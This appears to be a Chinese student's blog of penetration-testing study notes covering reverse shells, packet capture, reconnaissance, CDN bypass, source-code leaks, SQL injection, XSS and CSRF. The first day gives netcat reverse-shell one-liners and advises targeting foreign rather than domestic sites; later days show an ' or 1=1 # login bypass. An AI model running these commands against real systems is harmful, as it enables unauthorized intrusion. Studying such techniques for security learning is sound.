渗透测试学习之路

已经决定了准备暑假看看去找个实习,对于web手来说,渗透肯定是必不可少的,所以从现在开始,也要抓紧时间去好好学下渗透的相关知识了。

1、第1天:基础入门-操作系统&名词&文件下载&反弹SHELL&防火墙绕过

一些参考的资料工具网站

渗透常见术语https://www.cnblogs.com/sunny11/p/13583083.html

菱角社区:https://forum.ywhack.com/bountytips.php?download

反弹shell:https://forum.ywhack.com/reverse-shell/

常见命令:https://blog.csdn.net/weixin_43303273/article/details/83029138

1、内网与外网的区别

外网就是正常我们使用的服务器那种的,我们可以直接通过ip地址去访问,而内网则是在一小范围中使用的,无法直接通过其ip地址去直接找到,这个时候我们只能通过建立通道或者端口指定从而去指定到我们需要访问的内网,就比如虚拟机的ip,就相当于一个内网地址。

2、出网和进网

Windows的防火墙对于出网限制很少,而对于进网则有着很大的限制。

所以在一般情况下,我们使用带有防火墙的主机去将cmd权限发出,使用没有防火墙的主机去连接,防火墙这样就不会起到阻拦的作用了。

3、反弹shell

Windows:nc -e cmd ip port

Linux: nc -e /bin/bash ip port

内网可以连接外网,外网无法去连接内网。

4、实战

①将cmd上传至目标服务器

②将cmd权限发出,并使用外网主机接受

③拿到权限,从而去完成渗透

例子:Pikachu靶场的攻破

1、信息收集,寻找目标

image-20240404103555177

这边给个小建议,别打国内的,最好国外的

2、判断是否有攻击利用的条件

(实在是现在找不到了,大部分已经都完全修复了)

3、最后就是远程下载nc,并将shell发出去,这样就拿到了权限。

2、第2天:基础入门-Web应用&架构搭建&漏洞&HTTP数据包&代理服务器

1、网站的开发

这里也就是一些基础的web知识了,学会去购买服务器,域名等,并且以此去搭建一个自己的博客项目,这样也能去更好的理解一下网站的结构等相关知识。在这里就不过多的去讲解了,这都可以自己跟着网上的资料去学习的。

2、web应用框架

理解不同WEB应用组成角色功能架构:

开发语言,程序源码,中间件容器,数据库类型,服务器操作系统,第三方软件等。

image-20231129155607968

3、代理以及抓包

可以使用bp去实现抓到请求包,并且去修改从而达到我们想要的效果。

然后就是可以根据响应包的状态码去判断状态。

image-20231129155736090

4、代理购买的作用

在网上去购买代理,就可以实现每次点击网站使用的就是不同的ip地址,这样就能去防止自身的ip被拉入黑名单后无法访问的问题。购买代理就像是在主机和被访问服务器之间新增了一个代理服务器,由这个服务器把你的请求拦截并由它发出,最后接收到的返回包也由它经手返回

第3天:基础入门-抓包&封包&协议&APP&小程序&PC应&WEB应用

1、重点总结

①为什么要抓包? -抓包应用的资产信息进行安全测试

②抓包的对象有哪些? -小程序,APP,桌面应用等

③抓包协议区别工具? -有部分应用不走HTTP/S,需要用到全局协议抓包

④封包和抓包不同之处? -零散整体的区别,封包能精确到每一个操作的数据包。

2、手机APP、小程序的抓包

使用bp,Charles去抓包,小程序的话不方便使用bp,使用Charles更加方便。

bp抓包能够精准定位到每一次数据包的发送。

3、全局协议抓包

可以去使用科来或者wireshark去抓包,直接对全局进行抓包,并不只局限于HTTP数据包,可以更方便的用于对一些应用的抓包。

4、封包

这里就可以去使用一个封包监听工具,可以去监听某个进程的数据包并且进行封包,封包的话就是可以将某种行为包装成一个数据包,我们就可以重新去发送这个数据包去重复某种行为,更加精确。这就很方便于对于游戏外挂相关的制作。

5、相关软件的介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#参考点: Fiddder: 是一个http协议调试代理工具,它能够记录并检查所有你的电脑和互联网之间的http通讯,设置断点,查看所有的"进出"Fiddler的数据(指cookie,html,j3,css等文件)。Fiddler要比其他的网络调试器要更加简单,因为它不仅仅暴露ttp通讯还提供了一个用户友好的格式。
Charles:
是一个HTTP代理服务器,HTTP监视器,反转代理服务器,当浏览器连接Charles的代理访问互联网时,char1es可以监控浏览器发送和接收的所有数据。它允许一个开发者查看所有连接互联网的HTTP通信,这些包括cequest,respon3e和HTTP headers(包含cookies.与caching信息)
TCPDump:
是可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协
议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息。
BurpSuite:
是用于攻击web应用程序的集成平台,包含了许多工具。Burp Suitei为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP消息、持久性、认证、代理、日志、警报。
Wireshark:
是一个网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽
可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进
行数据报文交换。
科来网络分析系统:是一款由科来软件全自主研发,并拥有全部知识产品的网络分析产
品。该系统具有行业领先的专家分析技术,通过捕获并分析网络中传输的底层数据包,对
网络故障、网络安全以及网络性能进行全面分析,从而快速排查网络中出现或潜在的故
障、安全及性能问题。
WPE&封包分析:是强大的网络封包编辑器,we可以截取网络上的信息,修改封包数据
是外挂制作的常用工具。一般在安全测试中可用来调试数据通讯地址。

第4天:基础入门-30余种加密编码进制&Web&数据库&系统&代码&参数值

今天讲的这个就是属于很基础的一部分了,都是相关加密解密的,作为一个ctf选手这方面了解的也算挺多的,所以也就不过多去讲解了。

1、文件加密

通过各种语言自身的加密方式,对源代码进行加密,从而达到数据保护的功能。

dll加密、php加密、SQL加密、jar加密

2、对编码的观察

需要去熟悉一些加解密的相应特征,并且要求能够在碰见一些加密后的数据后能够去判断出加密方法并且对之进行解密。

3、总结

其实CTF中这些就是主要考点,各种像base系列,aes,md5等各种形式的加解密,这种都能够在网上去搜到相关的加解密方案的。

第5天:基础入门-资产架构&端口&应用&CDN&WAF&站库分离&负载均衡

1、CDN和负载均衡

CDN是购买结点,从而去达到工具服务器的作用,从而可以加速访问国外网站的作用,并且可以在被攻打时无法找到真正的网站服务器。

负载均衡时自身使用多台服务器,在访问的时候去随机访问一台服务器,从而也能起到防止渗透的作用。

2、web安全问题

目录站点

端口站点

ip站点

服务器站点

站点插件

3、番外安全问题

域名注册商

服务器厂商

管理人员安全

4、一些阻碍

站库分离

CDN加速服务

负载均衡服务

WAF应用防火墙

主机防护防火墙

5、总结

1
2
3
4
5
6
7
8
9
10
11
12
13
CDN(Content Delivery Network)是一种分布式网络架构,旨在提供高性能、可扩展的内容传输和交付服务。CDN
的目标是加快网站和应用程序的内容传输速度,减少延迟并提供更好的用户体验。

CDN 的工作原理如下:

缓存:CDN 在全球各地部署了多个边缘节点服务器,这些服务器上有大容量的缓存存储。原始内容(如网页、图像、视频等)会被缓存在这些服务器上。
路由:当用户请求访问某个资源时,请求会被智能路由到距离用户最近的边缘节点服务器。
加速交付:边缘节点服务器提供缓存的内容,直接向用户提供所需的资源,而不必每次都从源服务器获取。这样可以显著减少网络延迟,并提高内容的传输速度和响应时间。
负载均衡:CDN 可以根据流量负载和网络拥塞情况自动选择最佳的边缘节点来处理请求,确保高可用性和稳定性。 CDN的优点包括:

加速网站和应用程序的内容传输速度,提供更好的用户体验。 减轻源服务器的负载,提高可扩展性和稳定性。
提供全球范围的网络覆盖,确保内容在用户附近的节点上提供。
CDN广泛应用于网站、应用程序、媒体流等领域,许多知名的互联网公司和服务提供商都使用CDN来提供快速、高效的内容交付。
1
2
3
4
5
6
负载均衡(LoadBalancing)是一种在计算机网络中分配工作负载的方法,通过将请求均匀地分发到多个服务器或资源上,以提高系统的性能、可靠性和可扩展性。
负载均衡的主要目标是避免单个服务器过载,并确保每个服务器都能够有效地处理请求。它可以通过以下方式实现:
请求分发:负载均衡器接收到来自客户端的请求,并将其分发给后端的多个服务器。这个过程可以基于不同的算法,如轮询、最少连接、权重等,以确保请求平均地分布到各个服务器上。
健康检查:负载均衡器会周期性地对后端服务器进行健康状态检查,以确保它们正常运行。如果某个服务器出现故障或不可用,负载均衡器将自动将请求转发到其他可用的服务器上。
扩展性:当系统负载增加时,可以向负载均衡器添加更多的服务器,以满足不断增长的请求。负载均衡器将自动将流量分发到新添加的服务器上,从而提高系统的容量和性能。
负载均衡在许多应用场景中发挥关键作用,如网站和应用程序的高可用性、流量管理、提高系统吞吐量等。常见的负载均衡技术包括硬件负载均衡器、软件负载均衡器和云平台提供的负载均衡服务。

第6天:信息打点-Web架构篇&域名&语言&中间件&数据库&系统&源码获取

知识点:

1、打点-Web架构-语言&中间件&数据库&系统等

2、打点-Web源码-CMS开源&闭源售卖&自主研发等

3、打点-Web源码获取-泄露安全&资源监控&其他

4、打点-Web域名-子域名&反查域名&旁注等

信息点:

基础信息,系统信息,应用信息,防护信息,人员信息,其他信息等

技术点:

CMS识别,端口扫描,CDN绕过,源码获取,子域名查询,WAF识别,负载均衡识别等

第7天:信息打点-资产泄漏&CMS识别&Git监控&SVN&DS_Store&备份

知识点:
1、CMS指纹识别源码获取方式
2、习惯&配置&特性等获取方式
3、托管资产平台资源搜索监控

详细点:
参考:https://www.secpulse.com/archives/124398.html
源码泄漏原因:
1、从源码本身的特性入口
2、从管理员不好的习惯入口
3、从管理员不好的配置入口
4、从管理员不好的意识入口
5、从管理员资源信息搜集入口

源码泄漏集合:
composer.]son
git源码泄露
svn源码泄露
hg源码泄漏
网站备份压缩文件
WEB-INF/web.m1泄露
DS Store文件泄露
SWP文件泄露
CVS泄露
Bzr泄露
GitHub源码泄漏

演示案例:
直接获取-CMS识别-云悉指纹识别平台
(yunsee.cn 在线指纹识别平台)
习惯不好备份文件-某黑阔博客源码泄漏
(网站管理员将网站备份到网站目录下造成源码泄露)
配置不当-GIT泄漏某程序员博客源码泄漏
参考链接:https://codeleading.com/article/54926468941/
利用工具:https://github/lijiejie/GitHack

当在一个空目录执行 git init 时,Git 会创建一个 .git 目录。 这个目录包含所有的 Git 存储和操作的对象。 如果想备份或复制一个版本库,只需把这个目录拷贝至另一处就可以了
比如某个网站存在.git文件泄露,可以:
利用方式:
github上的githack可以把整个.git备份的文件下载下来。它能解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码
配置不当-SVN泄漏-某国外小伙子源码泄漏
SVN 是 Subversion 的简称,是一个开放源代码的版本控制系统,相较于 RCS、CVS,它采用了分支管理系统,它的设计目标就是取代 CVS。互联网上很多版本控制服务已从 CVS 迁移到 Subversion。
很多网站都使用了 svn 版本控制系统,和使用 git 版本控制器类似,很多开发者网站安全意识不足,代码放到生产坏境中后,没有清理 svn 的一些信息,导致 svn 残留,因此攻击者可以使用工具 dvcs-ripper 下载网站源码。
当可以访问到/.svn/entries的时候,就证明存在了。
比如乌云曾经爆出的某个网站:

http://data.5i5j.com/sitemetrics/.svn/entries
利用工具 https://github.com/kost/dvcs-ripper
工具命令 rip-svn.pl -v -u http://www.localhost.test/.svn/

配置不当-DS Store泄漏-某开发Mac源码泄漏
.DS_Store 文件 MAC 系统是用来存储这个文件夹的显示属性的:比如文件图标的摆放位置。如果用户删除以后的副作用就是这些信息的失去。

这些文件本来是给 Finder 使用的,但它们被设想作为一种更通用的有关显示设置的元数据存储,诸如图标位置和视图设置。 当你需要把代码上传的时候,安全正确的操作应该把 .DS_Store 文件删除才正确。通过.DS_Store可以知道这个目录里所有的文件名称。

当访问/.ds_store可以访问的到,就证明存在。例如:

http://www.baidu.com/.ds_store

工具:https://github.com/lijiejie/ds_store_exp

使用方式:

python ds_store_exp.py http://www.example.com/.DS_Store

PHP特性-composer.json泄漏-某直接搭建源码泄漏

例如:http://57.128.195.180/composer.json

下载配合-WEB-INF泄露-RoarCTF-2019-EasyJava

解题思路:访问靶场通过控制filename来任意文件下载

因为WEB-INF会存储配置文件,所以构造filename=WEB-INF/web.xml,此文件会记录源码的结构

访问文件内容,并构造文件名下载

最后通过反编译出flag

资源监控-GITHUB泄漏-语法搜索&关键字搜索&社工
通过github和google hack语法搜索相关信息
相关利用项目:

cMs识别:https://www.yunsee.cn/ 备份:敏感目录文件扫描 -7 kbscan-WebPathBrute
CVS:https://github.com/kost/dvcs-ripper
GIT:https://github.com/lijiejie/GitHack
SVN:https://github.com/callmefeifei/SvnHack_DS
Store:https://github.com/lijiejie/ds_stor_exp

GITHUB资源搜索:
in:name test #仓库标题搜索含有关键字
in:descripton test #仓库描述搜索含有关键字
in:readme test #Readme文件搜素含有关键字
stars:>3000 test #stars数量大于3000的搜索关键字

第8天 信息打点-系统篇&端口扫描&CDN服务&负载均衡&WAF防火墙

知识点:
1、获取网络信息-服务厂商&网络架构
2、获取服务信息-应用协议&内网资产
3、获取阻碍信息-CDN&WAF&负载&防火墙

详细点:
CDN服务,WAF防火墙,负载均衡,防火墙阻碍

演示案例:
1、网络信息获取-服务厂商&网络架构
通过域名信息查询获取 IP、云服务厂商、域名出售厂商、注册者邮箱等信息(可以使用威胁情报平台)

2、服务信息获取-协议应用&内网资产
旁注:查询同一服务器下的不同WEB应用
C段:查询同一网段下,不同服务器部署的不同WEB应用
nmap target -Pn -osscan-limit -sV

1
2
3
-Pn:不检测主机存活 -osscan-limit:扫操作系统 

-sV:探测打开的端口以确定服务/版本信息

3、阻碍信息获取-CDN&WAF&负载&防火墙
超级ping:CDN服务识别(全国个地去ping目标地址,看访问的IP地址是否不同)
wafw00f识别waf、看图识别

4、ldb识别负载均衡

使用工具去检测负载均衡是否存在

1
2
3
4
5
6
7
8
9
#相关利用项目:
Masscan:https://github.com/robertdavidgraham/masscan
Wafwoof:https://github.com/Enablesecurity/wafw00f
Kali上自带Nmap,Masscan,lbd等项目,超级ping:ping.chinaz.com
超级ping:CDN服务识别
Masscan:端口扫描,应用协议
Wafw00f:Web应用防护防火墙识别
namp:端口扫描,应用协议,防火墙识别
lbd:负载均衡,广域网负载均衡,应用层负载均衡

第9天 信息打点-CDN烧过篇&漏洞回链8接口探针&全网扫指&反向件

1
2
3
4
5
知识点:
1、CDN知识-工作原理及阻碍
2、CDN配置-域名&区域&类型
3、CDN绕过-靠谱十余种技战法
4、CDN绑定-HOSTS绑定指向访问

CDN 是构建在数据网络上的一种分布式的内容分发网。 CDN的作用是采用流媒体服务器集群技术,克服单机系统输出带宽及并发能力不足的缺点,可极大提升系统支持的并发流数目,减少或避免单点失效带来的不良影响。

#前置知识
1.传统访问:用户访问域名->解析服务器IP->访问目标主机
2.普通CDN:用户访问域名->CDN节点->真实服务器IP->访问目标主机
3.带WAF的CDN:用户访问域名->CDN节点(WAF)->真实服务器IP->访问目标主机

CDN的使用:在阿里云平台上去进行按每一步配置即可。

#判定标准:
nslookup,各地ping(出现多个IP即启用CDN服务)
#参考知识:
https://zhuanlan.zhihu.com/p/33440472
https://www.cnblogs.com/blacksunny/p/5771827.html
子域名,去掉www,邮件服务器,国外访问,证书查询,APP抓包
黑暗空间引擎(yofo),通过漏洞或泄露获取,扫全网,以量打量,第三方接口查询等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
演示案例:
真实应用-CDN绕过-漏洞&遗留文件
原理: 利用ssrf使得服务器主动请求VPS地址,此时通过在VPS地址监听请求即可得知真实地址。(相当于目标服务器主动请求VPS地址,vps会监听到真实地址)

真实应用-CDN绕过-子域名查询操作
原理:配置CDN时管理员考虑费用问题可能会将子域名排除在外,此时通过手机子域名信息即可得到真实地址(用于子域名应用和根域名应用部署在同一服务器的情况下)

真实应用-CDN绕过-接口查询国外访问
原理:配置CDN时选择地域可能会仅设置成国内生效,此时使用国外地址访问获得真实地址

真实应用-CDN绕过-主动邮件配合备案
原理:通过系统功能(如:密码找回发送邮件,查看邮件发送方地址找寻),通过备案信息确认,一般是通过备案的地点去判定

真实应用-CDN绕过-全网扫描FuckCDN
原理:扫描全球ip匹配web内容,实用工具匹配扫描网段title信息。需要大量时间很多情况下,不过也是最稳定的方法。
1
2
3
4
5
6
7
8
9
10
#参考知识:
https://zhuanlan.zhihu.com/p/33440472
https://www.cnblogs.com/blacksunny/p/5771827.html
子域名,去掉www,邮件服务器,国外访问,证书查询,APP抓包
黑暗空间引擎,通过漏洞或泄露获取,扫全网,以量打量,第三方接口查询等
#案例资源:
超级Ping:https://www.17ce.com/
接口查询:https://get-site-ip.com/
国外请求:https://tools.ipip.net/cdn.php
全网扫描:https://github.com/Tai7sy/fuckcdn

第10天 信息打点-APP&小程序篇&抓包封包&XP框架&反编译&资产提取

1
2
3
4
#### 知识点:

1、小程序-外在-资产收集
2、APP-外在&内在-资产收集
1
2
3
4
5
6
#### 演示案例:

APP-外在抓包-Fd&茶杯&Burp

APP-外在封包-封包监听工具
使用封包监听也可抓到数据包

APP-内在提取-ApplnfoScanner

一款适用于以HW行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具,可以帮助渗透测试工程师、攻击队成员、红队成员快速收集到移动端或者静态WEB站点中关键的资产信息并提供基本的信息输出,如:Title、Domain、CDN、指纹信息、状态信息等。

APP-内在搜索-反编译载入IDEA

  • APP-资源提取-安装泡&资源文件
    使用安卓修改大师导入apk文件,可对域名资源进行收集

​ 还可使用IDEA对反编译出的项目进行资源收集

  • APP-框架使用-Xposed&JustTrustMe

某些apk存在加壳的情况,会扫描失败,可以通过工具判断apk是否加壳

可通过安装xp框架的方式进行脱壳处理

小程序-微信-电脑版登录启动抓包分析

1
2
3
4
5
6
APP安卓入手
1、外在-抓包封包-资产安全测试
资产收集-资源提取-ICO,MD5,HASH-黑暗引擎搜索相关资产
2、外在-功能逻辑
3、内在-反编译-JAVA代码代码审计
4、内在-反编译-提取RES资源-黑暗资产收集

第11天信息打点-红队工具篇&Fofa&Quake&Kunyu&Suize水泽&Ar灯塔

知识点:
1、网络空间四大引擎-Fofa&Quake&shodan&2 oomeye I
2、自动化信息收集项目-ARL灯塔&Suize水泽s Kunyui坤舆
3、单点功能信息收集项目-企查:子域名指纹识别:社工信息

1
2
3
4
5
6
7
8
9
10
11
##黑暗引擎:
https://fofa.so
https://quake.360.cn
https://www.shodan.io
https://www.zoomeye.org
##自动项目:
https://github.com/knownsec/Kunyu
https://github.com/0x727/shuize 0x727
https://github.com/TophantTechnology/ARL
##相关资源:
https://forum.ywhack.com/center.php
1
2
3
4
5
6
7
8
9
10
11
1、演示案例:网络空间-Fofa&Quake&Shodan&Zoomeye
工具测评网络空间四大黑暗彩擎集合版项目
finger:通过调用zoomeyes和fofa的接口实现
通过fofa和zoomeyes两个接口去进行信息搜集
2工具测评-自动化收集-ARL灯塔&Suize水泽&Kunyu
Kunyu:通过调用zoomeyes API实现资产信息和漏洞信息收集 还能够通过一个api去进行相关漏洞的搜集
ARL灯塔:自动化信息收集工具
水泽Suize:认为是暂时最好用的一个工具,能够搜集到更加全面的信息。
3、工具测评-单点功能器企查查&子域名&指纹识别&社工
相比自动化全部搜集的工具,所能搜集到的信息更加准确,但都是同一个方面的。
上述工具都可以在菱角社区去找到。

第12天:PHP开发-个人博客项目_文章功能显示_数据库操作_数据接受

接下来几天就都是PHP相关的知识,但是由于现在的社会环境,PHP语言的逐渐淘汰,所以PHP的相关笔记就粗略大概过一遍。

首先ctf中注意的是php中的单双引号的区别,单引号不解析变量,双引号能够解析变量

知识点:
1、PHP入门-语法&提交等
2、MsQL入门-数据库操作
3、HTML+CS5入门-样式编排

演示案例:
小迪博客文章阅读功能初步实现

实现功能:
前端文章导航,点入内容显示,更改I♪显示不同内容
实现步骤:
1、前端页面显示编写-HTML&CSS
HTML 是一种用于创建网页的标记语言,全称为超文本标记语言。使用html构造显示前端文章导航站点。

2、数据库文章数据导入-MySQL工操作
首先配置数据库连接–验证数据库配置–定义数据查询到的变量并赋值–连接具体表–执行具体字段显示

每次查询数据时都需要执行核查数据库配置的语句所以可以把数据库连接配置写成配置文件

3、PHP操作MYSQL编写-PHP变量提交
要实现提交一个参数传到数据库中查询,需要先通过GET获取提交的参数,然后通过数据库语法(where id = ?)指定查询内容(此处因为没有对传入的参数进行限制就导致了sql注入,例如where id=1 union select name from admin)

除了使用GET传参外,还可以使用PSOT和REQUEST传参,这样就是sql注入中的get方式和post方式注入

1
2
3
4
5
组件:
Navicat:操作数据库
Dreamweaver:前端页面设计
PhpStorm:PHP开发IDE
phpStudy:PHP搭建环境

第13天 PHP开发个人博客项目8&文件操作类&编辑器&上传下载删除读写

知识点:

1、文件操作类代码编写
2、文件上传&下载&删除

3、文件内容&读取&写入
4、第三方编辑器引用实例

演示案例:小迪博客-文件操作&上传&下载&删除&读取&写入等

#文件上传类:-任意文件上传
1、代码自主写
2、外部编辑器源码引用
3、开发框架引用

#文件下载类:-任意文件下载
1、直连URL访问
2、传参头部修改

1
2
3
4
5
6
7
8
直连下载会暴露文件存储路径,如果服务器端的文件存储路径包含敏感信息,建议使用 PHP 内置的 readfile()函数来直接输出文件内容,以避免泄露敏感信息。同时,可以设置响应头信息中的 Content-Disposition 属性为inline,使浏览器将文件直接显示在页面中,而不是下载到本地。
传参下载可能存在参数注入攻击的风险,因此在接收和处理来自客户端的参数时,应该对输入值进行过滤和验证,避免恶意用户利用特殊字符或脚本代码等手段构造攻击请求。例如,可以使用
PHP 内置的 filter_input() 函数来对参数值进行过滤,或使用正则表达式来匹配合法的参数格式。
在下载文件之前,应该对用户身份进行验证,确保只有具备相应权限的用户才能访问和下载文件。例如,在使用传参下载时,可以检查用户的登录状态和角色权限,避免未经授权的下载操作。
对于需要下载的文件,建议对其类型、大小、来源和安全性等进行检查和限制,避免下载恶意软件、病毒或大型文件等对服务器端和客户端带来的负担和安全威胁。例如,可以使用
PHP 内置的 mime_content_type() 函数检查文件 MIME 类型,或使用 filesize() 函数检查文件大小,并在前端添加文件大小限制。对于上传到服务器的文件,可以使用防病毒软件和防火墙等工具对文件进行检查和过滤。
//http://www.xiaodi.com/soft/软件.zip
//http://www.xiaodi.com/soft/down.php?filename=.zip

#文件删除类-任意文件删除1、文件删除
2、文件夹删除
删除文件使用unlink()函数,删除文件夹使用rmdir()函数。

#文件内容操作类-任意文件读取&写入
1、文件读取
2、文件写入

文件包含漏洞
1、本地文件包含
2、远程文件包含
web漏洞核心
1、可控变量
2、特定函数

第14天 PHP开发-个人博客项目8输入输出类&留言板8访问IP&UA头来源

知识点:

1、PHP-全局变量_SERVER

利用全局变量可以查看服务器和执行环境信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
一些PHP中的全局变量
// $_SERVER['REMOTE_PORT'] //端口。
// $_SERVER['REMOTE_ADDR'] //当前用户 IP
// $_SERVER['REMOTE_HOST'] //当前用户主机名
// $_SERVER['SERVER_NAME'] //服务器主机的名称。
// $_SERVER['PHP_SELF']//正在执行脚本的文件名
// $_SERVER['argv'] //传递给该脚本的参数。
// $_SERVER['argc'] //传递给程序的命令行参数的个数。
// $_SERVER['GATEWAY_INTERFACE']//CGI 规范的版本。
// $_SERVER['SERVER_SOFTWARE'] //服务器标识的字串
// $_SERVER['SERVER_PROTOCOL'] //请求页面时通信协议的名称和版本
// $_SERVER['REQUEST_METHOD']//访问页面时的请求方法
// $_SERVER['REQUEST_URI'] //URL路径
// $_SERVER['QUERY_STRING'] //查询(query)的字符串。
// $_SERVER['DOCUMENT_ROOT'] //当前运行脚本所在的文档根目录
// $_SERVER['HTTP_ACCEPT'] //当前请求的 Accept: 头部的内容。
// $_SERVER['HTTP_ACCEPT_CHARSET'] //当前请求的 Accept-Charset: 头部的内容。
// $_SERVER['HTTP_ACCEPT_ENCODING'] //当前请求的 Accept-Encoding: 头部的内容
// $_SERVER['HTTP_ACCEPT_LANGUAGE'];//浏览器语言
// $_SERVER['HTTP_CONNECTION'] //当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。
// $_SERVER['HTTP_HOST'] //获取当前程序所在主机,当前请求的 Host: 头部的内容。
// $_SERVER['HTTP_REFERER'] //链接到当前页面的前一页面的 URL 地址。
// $_SERVER['HTTP_USER_AGENT'] //当前请求的 User_Agent: 头部的内容。
// $_SERVER['HTTPS']//如果通过https访问,则被设为一个非空的值(on),否则返回off
// $_SERVER['SCRIPT_FILENAME'] #当前执行脚本的绝对路径名。
// $_SERVER['SERVER_ADMIN'] #管理员信息
// $_SERVER['SERVER_PORT'] #服务器所使用的端口
// $_SERVER['SERVER_SIGNATURE'] #包含服务器版本和虚拟主机名的字符串。
// $_SERVER['PATH_TRANSLATED'] #当前脚本所在文件系统(不是文档根目录)的基本路径。
// $_SERVER['SCRIPT_NAME'] #包含当前脚本的路径。这在页面需要指向自己时非常有用。
// $_SERVER['PHP_AUTH_USER'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
// $_SERVER['PHP_AUTH_PW'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
// $_SERVER['AUTH_TYPE'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型

例如获取并返回访问者UA头信息,若此时功能点有获取并展示UA的功能,可以尝试进行抓包修改ua头为js代码,此时就造成了xss注入。

(任何将你所输入的展示在页面中的,都可能会存在xss的相关漏洞)、

2、MYSQL-插入语法INSERT
3、输入输出-XSS&反射&存储

输入框输入js语句(例如:)会导致浏览器在显示时会将语句执行,从而弹窗的操作(XSS反射)
留言板输入js语句后,因为留言板的功能会将语句保存并展示,就造成了语句存储在了数据库中就导致了xss存储型注入,利用存储型注入可以获取用户cookie。

4、安全问题-XSS跨站&CSRF等

全局变量$_SERVER中有// $_SERVER[‘HTTP_REFERER’] //链接到当前页面的前一页面的 URL 地址。使用这一变量可以获取访问该链接前的上一个链接地址,在预防CSRF(跨站脚本注入)中可以起到验证跳转地址是否为恶意地址,起到防范作用。

1
2
3
4
5
6
7
CSRF:
要成功实施 CSRF(跨站请求伪造)攻击,通常需要满足一定的前提条件,包括:
1、 目标网站存在漏洞:CSRF 攻击的基本原理是利用用户在访问目标网站时已经登录过的认证信息,因此目标网站必须存在相应的漏洞才能被攻击者利用。例如,目标网站没有进行有效的身份验证或令牌校验,允许从外部发送请求等。
2、用户已经登录目标网站:由于 CSRF攻击需要利用用户已经登录过的认证信息,因此攻击者必须确保受害用户在攻击发起时已经登录了目标网站,并且浏览器保存了相关的 Cookie 或Session 信息。
3、攻击者能够构造恶意请求:为了实施 CSRF攻击,攻击者需要能够构造出目标网站所接受的合法请求格式,并将其发送到目标网站。

要和另一个后边会涉及到的CSOP进行区分

演示案例:

小迪博客输入输出&留言板&访问获取

通过输入输出、留言板实现xss反射型和存储型注入

墨者靶场-IP地址伪造来源&来源页伪造

通过burp抓包修改refer字段绕过网页的访问限制(来源页伪造)
网站存在IP地址限制访问,通过抓包修改来源IP实现绕过

只有当代码中获取IP为$_SERVER[“HTTP_X_FORWORDED_FOR”]时才可通过抓包改包实现绕过,其他的获取ip的方法可能无法

1
2
3
4
5
6
拓展:
ctf中常考的http相关内容
从本地访问: 修改http报文中的XFF,X-Real-IP,Client-IP
从哪里来: Reference
要用什么浏览器:User-Agent
代理: via

第15天 PHP开发-个人博客项目&登录验证&Cookie&Session&验证码安全

知识点:

1、后台验证-登录用户逻辑安全
2、后台验证-COOKIE&SESSION
3、后台验证-验证码&万能密码等
万能密码:判断是否登录成功是看将提交的用户密码带入数据库进行查询后是否返回数据或返回行数是否对应。
因为出巡过程中是将参数带入到数据库查询,select * from data where username=‘admin’ and pass=‘pass’
此时构造用户名为 ’ or 1=1 # 带入到数据库中查询就为 select * from data where username=’ ’ or 1=1 # and pass=‘pass’
此时假 或 真 为真 后面的语句通过#注释,即可绕过登录判定
验证码安全:验证码不失效,可通过burp抓包再不修改验证码的情况下进行密码替换。

登录验证的流程:

1、发送登录请求帐号密码
2、接受帐号密码
3、判断帐号密码的准确性
正确成功登录->跳转成功页面
错误失败登录->重新登录
HTTP是无状态的协议,所以为了记录身份状态信息会使用cookie和session来存储。
后台管理系统有多个文件页面,为了方便验证,一般会选用cookie或session进行验证
cookie:身份验证存储到客户端浏览器内
cookie安全:cookie修改 伪造 盗取
session:身份验证存储到服务端服务器内
session安全:劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
Cookie 和 Session 是两种常见的 Web 应用程序状态管理机制,用于在客户端和服务器端之间保存用户数据并实现用户身份认证。它们的不同点如下:

1、存储位置:Cookie 保存在客户端(浏览器)中,而 Session 保存在服务器端。

2、数据安全性:Cookie 中存储的数据可以被客户端篡改和查看,因此需要进行加密处理或者设置 HttpOnly 属性来防止 XSS 攻击;Session 中存储的数据只有存在服务器端,因此相对更安全。

3、存储容量:Cookie 的存储容量通常比较小,一般限制在 4KB 左右;Session 的存储容量相对更大。

4、生命周期:Cookie 可以设置生命周期,可以在浏览器关闭后仍然保持一段时间;Session 默认情况下在浏览器关闭后就会失效,或者等待一定时间后自动过期。

5、应用场景:Cookie 主要用于实现无状态的 HTTP 协议下的用户身份验证、记住密码等功能,适合于分布式系统和负载均衡环境;Session 主要用于保存用户的会话信息,适合于需要维护会话状态的应用场景。

总之,在选择 Cookie 和 Session 进行状态管理时,需要根据具体的应用需求和安全性要求进行选择。对于敏感数据和操作,建议采用 Session 来维护会话状态,并采取相应的加密和验证措施来提高数据安全性;对于较为简单的用户身份认证和状态管理,可以使用 Cookie 方便快捷地实现。

演示案例

小迪博客-后台登录&COOKIE&SESSION
本地靶场-某CMS后台登录验证COOKIE脆弱
burp抓包修改cookie信息绕过

1
2
补充:
在CTF比赛中,Cookie相关的题目还是比较多的, 特别是JWT验证这个方面,还是很重要的。

第16天 PHP开发-个人博客项目&JS-Ajax&前端逻辑&购物&登录&上传

知识点

1、Js前端验证-文件上传

对上传文件的后缀名进行验证,符合要求的才能上传,可以通过PHP或者JS代码实现。
两种去验证的区别:
PHP验证的代码看不到只能黑盒测试
JS验证的代码的可以看到的白盒测试
JS禁用可以绕过前端验证

2、Js-Ajax传递-登录-状态

js ajax 请求->返回->读取返回的数据->JS ajax代码进行解析->结果
php 请求->返回->返回结果(服务器不会理会你自慰)

